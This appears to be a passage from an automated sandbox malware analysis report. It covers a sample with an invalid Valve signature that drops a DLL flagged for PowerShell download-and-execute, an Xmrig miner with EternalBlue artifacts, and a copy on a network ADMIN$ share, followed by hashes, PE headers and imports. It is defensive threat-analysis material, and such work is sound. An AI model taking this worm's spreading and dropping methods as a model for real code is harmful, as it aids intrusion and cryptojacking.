C:\ProgramData\X86.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73216
Entropy (8bit):	6.287091206436906
Encrypted:	false
SSDEEP:	1536:q53/kKf0gogqox9ZiP0ZNLhezq4KQ/frjxsWqdQcdwP7pip97jPHXt:i+q9Ecc5KK3+/wP7piLjfd
MD5:	CCCCC1E56825E816F72DC108BB750BB1
SHA1:	EBF2A354694A89D5461FA715E03E34B999AE5630
SHA-256:	A59A46066034FB79E898E53FA4C421B24C3711751B1143C6E972B232FCF20BC7
SHA-512:	23B6ABCA5B47C23FF0D3D8BD67F9467C567E134FB3EB8CDDACB3B449042439FDC5535F27A25BD8847512C170A7E28EE92AE141A3A615AA4C628543FDE8F5EC54
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\ProgramData\X86.dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q...5...5...5...^..<...^..A...^..-.......$....... .......:...<.n.<...5...T......6......4......4...Rich5...........PE..L.....B^...........!................u........................................p............@.....................................d....P.......................`......0...8...........................h...@...............D............................text.............................. ..`.rdata...Z.......\..................@..@.data........ ......................@....gfids.......@......................@..@.rsrc........P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\spread.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9485672
Entropy (8bit):	7.588561994391822
Encrypted:	false
SSDEEP:	196608:rhHMBGC3PtXtT+Was81NZOnKdJOnZTG1IvQSaKefwq1wo9JoYx5JAG:r2G0MNZOnKdJOnZKVSa/wuwasG
MD5:	EFA492099E215A4EA44F157CBC62F081
SHA1:	5CC7F258DE315536AFD629A0DF3688263204826A
SHA-256:	AF1E97DDA5734973A94776E4631957DFD42A8675C966FFF64D97AEF3DACFBCAB
SHA-512:	8D3CEA18CBB71C74726779A63A9F99D3D69DA2B11B370D1C6F65D79C757AE09A09FFD432CFFAED42A09C1B0FE8705ED67BB2F363A68BC19799EEBCAB30E75768
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\ProgramData\spread.txt, Author: Joe Security Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\ProgramData\spread.txt, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........S;...;...;.... (.'.... *..... +.........?.......9...2.].:...2.Z.6...2.J.....;........... .......................7.....&.:...;.N.:.......:...Rich;...................PE..L....L.^..................+...d...............+...@..........................p............@.................................@n5......p9...T.............h-...@..h#.. .1.......................1.....@.1.@.............+..............................text.....+.......+................. ..`.rdata..F.....+.. ....+.............@..@.data....D....5.......5.............@....gfids...<....7..>...h6.............@..@.giats.......P9.......8.............@..@.tls.........`9.......8.............@....rsrc.....T..p9...T...8.............@..@.reloc..h#...@...$...l..............@..B........................................................................................................................................

C:\ProgramData\spread.txt:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

\Device\Mup\192.168.2.6\ADMIN$\spread.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:OWn:OWn
MD5:	202CB962AC59075B964B07152D234B70
SHA1:	40BD001563085FC35165329EA1FF5C5ECBDBBEEF
SHA-256:	A665A45920422F9D417E4867EFDC4FB8A04A1F3FFF1FA07E998E86F7F7A27AE3
SHA-512:	3C9909AFEC25354D551DAE21590BB26E38D53F2173B8D3DC3EEE4C047E7AB1C1EB8B85103E3BE7BA613B31BB5C9C36214DC9F14A42FD7A2FDB84856BCA5C44C2
Malicious:	false
Preview:	123

\Device\Mup\192.168.2.6\PIPE\srvsvc

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.25236229454546
Encrypted:	false
SSDEEP:	3:rmHD/tH//llleYhtC4d1ydYhtq5kZty:rmHurYty
MD5:	1FF3DE735A87D719B35ED6D00689168C
SHA1:	6711956511BAB8C677A411EA33830E1A2139AC84
SHA-256:	36A192FDB029E0357EB75DF25BF3C2EF035DBCBB9B811527B7276C5CA6D2177E
SHA-512:	1160A3480E574315832F8A9B60D0A6293A14D3A259EA3B6E220EEC46D72504C66AF2712A7CEF030F0E0F548845FD1AFC1FEC43985FE56614A6AF27FB75C3BA57
Malicious:	false
Preview:	........t........................O2Kp....xZG.n......]..........+.H`.........O2Kp....xZG.n.....,..l..@E............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.588561994391822
TrID:	Win32 Executable (generic) a (10002005/4) 98.81% Windows ActiveX control (116523/4) 1.15% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	9'485'672 bytes
MD5:	efa492099e215a4ea44f157cbc62f081
SHA1:	5cc7f258de315536afd629a0df3688263204826a
SHA256:	af1e97dda5734973a94776e4631957dfd42a8675c966fff64d97aef3dacfbcab
SHA512:	8d3cea18cbb71c74726779a63a9f99d3d69da2b11b370d1c6f65d79c757ae09a09ffd432cffaed42a09c1b0fe8705ed67bb2f363a68bc19799eebcab30e75768
SSDEEP:	196608:rhHMBGC3PtXtT+Was81NZOnKdJOnZTG1IvQSaKefwq1wo9JoYx5JAG:r2G0MNZOnKdJOnZKVSa/wuwasG
TLSH:	B8A6E022BDD08577D66303327D5DF23972EEB9741B3581C763982F2D2A702E26A3512B
File Content Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$..........S;...;...;.... (.'.... *...... +.........?.......9...2.].:...2.Z.6...2.J.....;........... .......................7.....&.:..

File Icon


Icon Hash:	1f65c4d3f35c2917

Static PE Info

General

Entrypoint:	0x5fb3f6
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5EE34C9B [Fri Jun 12 09:36:27 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	59bd1de5370a3a1763ca4ab2cd4ba57f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	07/10/2021 02:00:00 10/10/2024 01:59:59
Subject Chain	CN=Valve Corp., O=Valve Corp., L=Bellevue, S=Washington, C=US
Version:	3
Thumbprint MD5:	83896ECC20DB9E84A1A1D6D5B5B15A5D
Thumbprint SHA-1:	935767D66FAD4AD2D1F03A095C49370DC74DF607
Thumbprint SHA-256:	E98CCA8343960798A47BDB3CDD319DB4B9C6DBD8BC7574C13F6C09A925AEC0E9
Serial:	0689B3BCEB4409890A32D71976B132A4

Entrypoint Preview

Instruction
call 00007FA47C807B92h
jmp 00007FA47C806DB1h
jmp dword ptr [006BAEF0h]
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007FA47C8065F9h
jmp 00007FA47C806F30h
mov ecx, dword ptr [ebp-14h]
xor ecx, ebp
call 00007FA47C8065E8h
jmp 00007FA47C806F1Fh
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0075CE68h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0075CE68h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp

Rich Headers

Programming Language:

[C++] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x356e40	0x1e0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x397000	0x54c1c4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x909000	0x2d68	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8e4000	0x32368	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x318720	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31879c	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x318740	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2ba000	0xef0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b8c86	0x2b8e00	f9597f1d3d939335bd87c87d8752369b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2ba000	0xa1e46	0xa2000	e29a2c331af487307e5034fba854b008	False	0.30611466772762347	data	5.381634961320322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x35c000	0x1441c	0xb600	703a4ab6f4810483d0394e4b23a476ab	False	0.2382597870879121	data	5.055971179680594	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x371000	0x23ce0	0x23e00	bb333be54097aafebd06fbec8fad0335	False	0.2889672256097561	data	4.237634463943425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.giats	0x395000	0x1c	0x200	294640d4ba77e75f3b3a4d4856b39aa5	False	0.0625	data	0.26789873110924267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x396000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x397000	0x54c1c4	0x54c200	b65f589e419dff1fd385dc7d27b05845	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8e4000	0x32368	0x32400	9344edd30879268bce357a3a276efa78	False	0.4437431980721393	data	6.53103798247427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
LNK	0x3974b0	0x5d332	data	Chinese	China	0.6427179328663561
SMB	0x3f47e4	0x310484	data	Chinese	China	0.8830423355102539
X64	0x704c68	0x14c800	data	Chinese	China	0.9896430969238281
X86	0x851468	0x80600	data	Chinese	China	0.9822164830817917
RT_ICON	0x8d1a68	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4905913978494624
RT_ICON	0x8d1d50	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5844594594594594
RT_ICON	0x8d1e78	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.5359808102345416
RT_ICON	0x8d2d20	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.6990072202166066
RT_ICON	0x8d35c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.7254335260115607
RT_ICON	0x8d3b30	0x48c6	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.000858829844337
RT_ICON	0x8d83f8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.228389230042513
RT_ICON	0x8dc620	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.28744813278008297
RT_ICON	0x8debc8	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	English	United States	0.3267751479289941
RT_ICON	0x8e0630	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.2910412757973734
RT_ICON	0x8e16d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5364754098360656
RT_ICON	0x8e2060	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.6098837209302326
RT_ICON	0x8e2718	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.550531914893617
RT_GROUP_ICON	0x8e2b80	0xbc	data	English	United States	0.6648936170212766
RT_VERSION	0x8e2c3c	0x358	data	English	United States	0.41939252336448596
RT_MANIFEST	0x8e2f94	0x22f	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (499), with CRLF line terminators	English	United States	0.5295169946332737

Imports

DLL	Import
KERNEL32.dll	GetStartupInfoW, QueryPerformanceCounter, InitializeSListHead, WaitForMultipleObjectsEx, UnregisterWaitEx, QueryDepthSList, InterlockedPopEntrySList, ReleaseSemaphore, SetProcessAffinityMask, GetVersionExW, GetThreadTimes, UnregisterWait, RegisterWaitForSingleObject, SetThreadAffinityMask, GetProcessAffinityMask, GetNumaHighestNodeNumber, DeleteTimerQueueTimer, ChangeTimerQueueTimer, CreateTimerQueueTimer, GetLogicalProcessorInformation, GetThreadPriority, SwitchToThread, SignalObjectAndWait, CreateTimerQueue, WriteConsoleW, GetCurrentDirectoryW, SetCurrentDirectoryW, CreateFileW, SetConsoleCtrlHandler, SetEnvironmentVariableW, SetEnvironmentVariableA, FreeEnvironmentStringsW, GetEnvironmentStringsW, IsValidCodePage, IsDebuggerPresent, FindFirstFileExW, FindFirstFileExA, GetConsoleCP, GetDriveTypeW, GetTimeZoneInformation, DeleteFileW, ReadConsoleW, GetConsoleMode, SetFilePointerEx, EnumSystemLocalesW, IsValidLocale, GetTimeFormatW, GetDateFormatW, GetStdHandle, GetCommandLineW, GetCommandLineA, HeapQueryInformation, GetFileType, SetStdHandle, GetFullPathNameW, VirtualQuery, GetModuleHandleExW, FreeLibraryAndExitThread, ExitThread, InterlockedFlushSList, InterlockedPushEntrySList, RtlUnwind, GetStringTypeW, LCMapStringW, TryEnterCriticalSection, GetNativeSystemInfo, GetExitCodeThread, QueryPerformanceFrequency, FormatMessageW, OutputDebugStringW, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, CreateEventW, WaitForSingleObjectEx, LocalLock, LocalUnlock, GetUserDefaultLCID, ReplaceFileA, GetDiskFreeSpaceA, SearchPathA, GetProfileIntA, GetTempFileNameA, VerifyVersionInfoA, VerSetConditionMask, GetWindowsDirectoryA, FindResourceExW, lstrcpyA, GetACP, GetCurrentDirectoryA, WritePrivateProfileStringA, GetPrivateProfileStringA, GetPrivateProfileIntA, GetCPInfo, GetOEMCP, VirtualProtect, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetLocaleInfoW, CompareStringW, GetCurrentThread, GlobalFindAtomA, lstrcmpW, GlobalDeleteAtom, FreeResource, GetSystemDirectoryW, EncodePointer, ResumeThread, SuspendThread, SetThreadPriority, GlobalAddAtomA, GlobalFlags, SetErrorMode, LocalReAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, CompareStringA, GetAtomNameA, GlobalGetAtomNameA, lstrcmpA, SystemTimeToFileTime, SetFileTime, LocalFileTimeToFileTime, GetFileTime, GetFileSizeEx, GetFileAttributesExA, GetStringTypeExA, GetThreadLocale, GetVolumeInformationA, MoveFileA, GetShortPathNameA, LoadLibraryExA, GetModuleHandleW, GetModuleFileNameW, DuplicateHandle, UnlockFile, SetEndOfFile, LockFile, GetFullPathNameA, FlushFileBuffers, FileTimeToLocalFileTime, MulDiv, GlobalFree, GlobalUnlock, GlobalLock, GlobalSize, GlobalAlloc, FileTimeToSystemTime, SystemTimeToTzSpecificLocalTime, FormatMessageA, LocalAlloc, LoadLibraryExW, SetLastError, GetSystemDefaultLangID, CreateMutexA, ExitProcess, GetCurrentProcess, OutputDebugStringA, TerminateProcess, GlobalMemoryStatusEx, GetVersionExA, LoadLibraryW, Process32Next, Process32First, CreateProcessA, GetStartupInfoA, CreatePipe, FreeLibrary, FindResourceW, OpenProcess, LoadLibraryA, GetProcAddress, GetProcessHeap, HeapDestroy, DecodePointer, HeapAlloc, RaiseException, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, HeapFree, LocalFree, InterlockedDecrement, GetComputerNameA, Module32Next, Module32First, MultiByteToWideChar, GetCurrentProcessId, CreateToolhelp32Snapshot, WaitNamedPipeA, GetCurrentThreadId, DeleteCriticalSection, GetLastError, TerminateThread, WaitForMultipleObjects, SetEvent, WaitForSingleObject, ResetEvent, CreateEventA, InitializeCriticalSection, InterlockedIncrement, LeaveCriticalSection, EnterCriticalSection, GetTickCount, GetTempPathA, GetModuleHandleA, FindResourceA, LoadResource, LockResource, SizeofResource, VirtualAlloc, VirtualFree, MoveFileExA, CreateThread, GetDriveTypeA, GetLogicalDriveStringsA, GetDiskFreeSpaceExA, GetSystemInfo, GetProcessTimes, GetExitCodeProcess, GetSystemTimeAsFileTime, WinExec, FindClose, FindNextFileA, Sleep, FindFirstFileA, CopyFileA, GetModuleFileNameA, GetFileAttributesA, DeleteFileA, SetFileAttributesA, lstrcmpiA, WriteFile, SetFilePointer, ReadFile, CloseHandle, GetFileSize, CreateFileA, WideCharToMultiByte, FindNextFileW, RtlCaptureStackBackTrace
USER32.dll	LoadImageW, TrackMouseEvent, InvalidateRect, KillTimer, SetTimer, DeleteMenu, SetCursor, ShowOwnedPopups, MapDialogRect, GetAsyncKeyState, GetNextDlgTabItem, EndDialog, CreateDialogIndirectParamA, OffsetRect, SetRectEmpty, CopyImage, SystemParametersInfoA, GetMenuItemInfoA, DestroyMenu, IntersectRect, InflateRect, LoadBitmapW, SetMenuItemInfoA, GetMenuCheckMarkDimensions, SetMenuItemBitmaps, EnableMenuItem, CheckMenuItem, PostQuitMessage, GetMonitorInfoA, MonitorFromWindow, WinHelpA, GetScrollInfo, SetScrollInfo, LoadIconW, LoadIconA, GetTopWindow, GetClassLongA, EqualRect, CopyRect, MapWindowPoints, AdjustWindowRectEx, GetClientRect, RemovePropA, GetPropA, SetPropA, ShowScrollBar, GetScrollRange, SetScrollRange, ScrollWindow, RedrawWindow, SetForegroundWindow, SetActiveWindow, UpdateWindow, TrackPopupMenuEx, TrackPopupMenu, SetMenu, GetMenu, GetCapture, IsIconic, EndDeferWindowPos, DeferWindowPos, DrawStateA, DrawEdge, DrawFrameControl, IsZoomed, LoadMenuW, GetSystemMenu, wsprintfW, wsprintfA, BeginDeferWindowPos, SetWindowPlacement, GetWindowPlacement, DestroyWindow, IsChild, IsMenu, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, BringWindowToTop, DefWindowProcA, GetMessageTime, GetMessagePos, GetDialogBaseUnits, FillRect, ScreenToClient, EndPaint, BeginPaint, GetWindowDC, TabbedTextOutA, GrayStringA, DrawTextExA, DrawTextA, GetNextDlgGroupItem, SetCapture, ReleaseCapture, WindowFromPoint, DrawFocusRect, IsRectEmpty, LoadImageA, DrawIconEx, GetIconInfo, MessageBeep, EnableScrollBar, HideCaret, InvertRect, LoadCursorW, NotifyWinEvent, CreatePopupMenu, EmptyClipboard, GetMenuDefaultItem, MapVirtualKeyA, GetKeyNameTextA, SetLayeredWindowAttributes, EnumDisplayMonitors, SetClassLongA, SetWindowRgn, SetParent, UnregisterClassA, FindWindowA, GetWindowThreadProcessId, GetLastInputInfo, GetForegroundWindow, SendMessageA, PostMessageA, GetDesktopWindow, GetMenuStringA, GetMenuState, GetSubMenu, GetMenuItemID, GetMenuItemCount, InsertMenuA, AppendMenuA, RemoveMenu, CharUpperA, GetSystemMetrics, UnhookWindowsHookEx, GetWindowTextA, GetWindowTextLengthA, GetDC, ReleaseDC, GetSysColor, GetSysColorBrush, LoadCursorA, EnableWindow, IsWindowEnabled, MessageBoxA, GetWindowLongA, GetParent, GetLastActivePopup, SetFocus, SetScrollPos, GetScrollPos, GetWindow, IsWindow, ShowWindow, MoveWindow, SetWindowPos, GetDlgItem, SetDlgItemInt, GetDlgItemInt, SetDlgItemTextA, GetDlgItemTextA, CheckDlgButton, CheckRadioButton, IsDlgButtonChecked, SendDlgItemMessageA, GetDlgCtrlID, GetFocus, ScrollWindowEx, SetWindowTextA, SetWindowLongA, IsDialogMessageA, GetWindowRect, ClientToScreen, PtInRect, GetClassNameA, RealChildWindowFromPoint, DestroyIcon, GetMessageA, GetWindowRgn, TranslateMessage, DispatchMessageA, PeekMessageA, IsWindowVisible, GetActiveWindow, GetKeyState, ValidateRect, SetCursorPos, CopyIcon, FrameRect, DrawIcon, OpenClipboard, CloseClipboard, SetClipboardData, RegisterWindowMessageA, GetCursorPos, SetWindowsHookExA, CallNextHookEx, UnionRect, UpdateLayeredWindow, MonitorFromPoint, LoadAcceleratorsA, TranslateAcceleratorA, LoadMenuA, InsertMenuItemA, GetMenuBarInfo, UnpackDDElParam, ReuseDDElParam, GetComboBoxInfo, PostThreadMessageA, WaitMessage, GetKeyboardLayout, IsCharLowerA, MapVirtualKeyExA, GetKeyboardState, ToAsciiEx, LoadAcceleratorsW, CreateAcceleratorTableA, DestroyAcceleratorTable, CopyAcceleratorTableA, SetRect, LockWindowUpdate, SetMenuDefaultItem, GetDoubleClickTime, ModifyMenuA, RegisterClipboardFormatA, CharUpperBuffA, IsClipboardFormatAvailable, GetUpdateRect, EnumChildWindows, DrawMenuBar, DefFrameProcA, DefMDIChildProcA, TranslateMDISysAccel, SubtractRect, SendNotifyMessageA, MonitorFromRect, InSendMessage, CreateMenu, WindowFromDC, GetTabbedTextExtentW, GetTabbedTextExtentA, GetDCEx, DestroyCursor, CallWindowProcA
GDI32.dll	IntersectClipRect, LineTo, OffsetClipRgn, PlayMetaFile, PtVisible, RectVisible, RestoreDC, SaveDC, SelectClipRgn, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkColor, SetBkMode, SetMapperFlags, SetGraphicsMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetStretchBltMode, SetTextCharacterExtra, SetTextColor, SetTextAlign, SetTextJustification, PlayMetaFileRecord, EnumMetaFile, SetWorldTransform, SetColorAdjustment, StartDocA, ArcTo, PolyDraw, SelectClipPath, SetArcDirection, ExtCreatePen, GetObjectA, MoveToEx, TextOutA, ExtTextOutA, PolyBezierTo, PolylineTo, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CombineRgn, CreateFontIndirectA, CreateRectRgnIndirect, GetMapMode, PatBlt, SetRectRgn, DPtoLP, GetTextExtentPoint32A, GetWindowExtEx, EnumFontFamiliesExA, CreatePalette, GetNearestPaletteIndex, GetPaletteEntries, GetSystemPaletteEntries, RealizePalette, GetBkColor, CreateCompatibleBitmap, CreateDIBitmap, EnumFontFamiliesA, GetTextCharsetInfo, GetDIBits, SetPixel, StretchBlt, CreateDIBSection, SetDIBColorTable, CreateEllipticRgn, Ellipse, GetTextColor, CreatePolygonRgn, Polygon, Polyline, CreateRoundRectRgn, LPtoDP, Rectangle, GetRgnBox, OffsetRgn, GetCurrentObject, CreateFontA, GetCharWidthA, StretchDIBits, RoundRect, FillRgn, FrameRgn, GetBoundsRect, PtInRegion, ExtFloodFill, SetPaletteEntries, SetPixelV, GetWindowOrgEx, GetViewportOrgEx, CloseMetaFile, CreateMetaFileA, DeleteMetaFile, EndDoc, StartPage, EndPage, AbortDoc, SetAbortProc, GetROP2, GetBkMode, GetNearestColor, GetPolyFillMode, GetStretchBltMode, GetTextAlign, GetTextExtentPointA, GetTextExtentPoint32W, GetTextFaceA, GetViewportExtEx, GetStockObject, GetPixel, GetObjectType, GetCurrentPositionEx, GetClipRgn, GetClipBox, ExcludeClipRect, Escape, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePatternBrush, CreatePen, CreateHatchBrush, CreateDIBPatternBrushPt, CreateCompatibleDC, CreateBitmap, BitBlt, DeleteObject, GetDeviceCaps, CreateDCA, GetTextMetricsA, ModifyWorldTransform, CopyMetaFileA
MSIMG32.dll	TransparentBlt, AlphaBlend
WINSPOOL.DRV	ClosePrinter, OpenPrinterA, DocumentPropertiesA, GetJobA
ADVAPI32.dll	SetFileSecurityA, RegEnumValueA, RegEnumKeyExA, RegDeleteValueA, RegQueryValueA, RegEnumKeyA, RegCreateKeyExA, RegOpenKeyExW, RegSetValueA, RegDeleteKeyA, CloseEventLog, ClearEventLogA, OpenEventLogA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, RegSetValueExA, RegOpenKeyExA, RegCloseKey, RegQueryValueExA, RegOpenKeyA, GetUserNameA, GetFileSecurityA
SHELL32.dll	SHGetFileInfoA, ExtractIconA, SHAddToRecentDocs, SHGetPathFromIDListA, SHGetSpecialFolderLocation, SHGetDesktopFolder, DragQueryFileA, DragFinish, SHGetMalloc, SHBrowseForFolderA, ShellExecuteExA, SHAppBarMessage, ShellExecuteA
SHLWAPI.dll	StrStrA, PathIsUNCA, PathStripToRootA, PathFindExtensionA, PathFindFileNameA, PathRemoveExtensionA, PathRemoveFileSpecW, StrFormatKBSizeA, StrStrIA, UrlUnescapeA
UxTheme.dll	GetThemePartSize, IsThemeBackgroundPartiallyTransparent, DrawThemeText, DrawThemeParentBackground, OpenThemeData, IsAppThemed, GetWindowTheme, GetCurrentThemeName, GetThemeColor, DrawThemeBackground, CloseThemeData, GetThemeSysColor
ole32.dll	OleLoad, OleSave, OleSaveToStream, OleCreateStaticFromData, OleCreateLinkFromData, OleCreateFromData, OleCreate, OleSetContainedObject, OleGetIconOfClass, GetHGlobalFromILockBytes, OleCreateFromFile, WriteClassStm, CreateItemMoniker, CreateGenericComposite, OleRegEnumVerbs, OleRegGetMiscStatus, IsAccelerator, OleTranslateAccelerator, OleDestroyMenuDescriptor, OleCreateMenuDescriptor, CreateILockBytesOnHGlobal, CreateFileMoniker, StgIsStorageFile, StgOpenStorageOnILockBytes, StgOpenStorage, StgCreateDocfile, OleLockRunning, OleSetMenuDescriptor, PropVariantCopy, RevokeDragDrop, OleCreateLinkToFile, CoLockObjectExternal, OleGetClipboard, DoDragDrop, OleIsCurrentClipboard, OleFlushClipboard, OleSetClipboard, CreateStreamOnHGlobal, CoInitializeEx, CoCreateGuid, CoDisconnectObject, StringFromGUID2, SetConvertStg, OleRegGetUserType, ReleaseStgMedium, OleDuplicateData, ReadFmtUserTypeStg, WriteFmtUserTypeStg, WriteClassStg, ReadClassStg, CreateBindCtx, CoTreatAsClass, CoTaskMemFree, CoTaskMemAlloc, 